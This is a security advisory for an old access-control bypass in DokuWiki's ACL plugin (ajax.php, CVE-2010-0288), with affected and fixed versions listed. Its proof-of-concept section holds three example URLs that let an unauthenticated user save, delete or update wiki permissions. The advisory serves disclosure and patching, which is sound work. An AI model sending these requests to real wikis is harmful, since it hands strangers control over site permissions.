DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities

BID:37820

Info

DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities

Bugtraq ID: 37820
Class: Access Validation Error
CVE: CVE-2010-0288
Remote: Yes
Local: No
Published: Jan 14 2010 12:00AM
Updated: Apr 16 2015 06:03PM
Credit: white_sheep
Vulnerable: Gentoo Linux
DokuWiki DokuWiki 2009-12-25
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Not Vulnerable: DokuWiki DokuWiki 2009-12-25b

Discussion

DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities

DokuWiki is prone to multiple security-bypass vulnerabilities because it fails to adequately authenticate users before performing certain actions.

Unauthenticated attackers can leverage these issues to change or delete wiki permissions.

DokuWiki 2009-12-25 is vulnerable; prior versions may also be affected.

Exploit / POC

DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities

Attackers can exploit these issues via a browser.

The following example URIs are available:

http://www.example.com/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[save]=1&acl=(ACL)
http://www.example.com/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[del]=1&acl=(ACL)
http://www.example.com/lib/plugins/acl/ajax.php?ajax=info&id=wiki&acl_w=@ALL&cmd[update]=1&acl=(ACL)

Solution / Fix

DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities

Solution:
Updates are available. Please see the references for more information.


Debian Linux 5.0 hppa

Debian Linux 5.0 ia-64

Debian Linux 5.0 m68k

Debian Linux 5.0 arm

Debian Linux 5.0 armel

Debian Linux 5.0

Debian Linux 5.0 amd64

Debian Linux 5.0 alpha

Debian Linux 5.0 ia-32

Debian Linux 5.0 mips

Debian Linux 5.0 s/390

Debian Linux 5.0 mipsel

Debian Linux 5.0 powerpc

Debian Linux 5.0 sparc

References

DokuWiki 'ajax.php' Multiple Security Bypass Vulnerabilities

References:

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